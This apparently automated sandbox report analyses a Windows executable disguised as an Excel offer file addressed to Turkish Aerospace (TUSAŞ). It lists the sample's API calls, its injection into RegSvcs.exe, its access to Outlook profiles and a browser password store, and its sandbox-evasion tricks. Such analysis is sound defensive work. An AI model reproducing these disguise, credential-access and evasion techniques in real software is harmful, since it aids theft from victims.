Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FF87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00FF87E1

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0100B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0100B333

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0101EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0101EE0D

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_0100C397 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0100C397

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00FA4E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

File created: C:\Users\user\AppData\Local\Temp\aut76C8.tmp

Jump to behavior

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.3940377959.00000000029BB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"	Jump to behavior

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1481254254.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1483312218.0000000003C30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1481254254.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1483312218.0000000003C30000.00000004.00001000.00020000.00000000.sdmp

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA4B37 LoadLibraryA,GetProcAddress,

0_2_00FA4B37

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FC8945 push ecx; ret

0_2_00FC8958

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	File created: \tekl#u0130f #u0130ste#u011e#u0130 - tusa#u015e t#u00dcrk havacilik uzay sanay#u0130#u0130_xlsx.exe
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	File created: \tekl#u0130f #u0130ste#u011e#u0130 - tusa#u015e t#u00dcrk havacilik uzay sanay#u0130#u0130_xlsx.exe			Jump to behavior

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FA48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00FA48D7
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01025376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_01025376

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FC3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FC3187

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

API/Special instruction interceptor: Address: 12617CC

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1472935783.0000000001242000.00000004.00000020.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1473680519.000000000129B000.00000004.00000020.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1473188115.000000000129B000.00000004.00000020.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000003.1473053430.000000000129B000.00000004.00000020.00020000.00000000.sdmp, TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492217479.000000000129B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: FIDDLER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599123	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598793	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595730	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595514	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595074	Jump to behavior
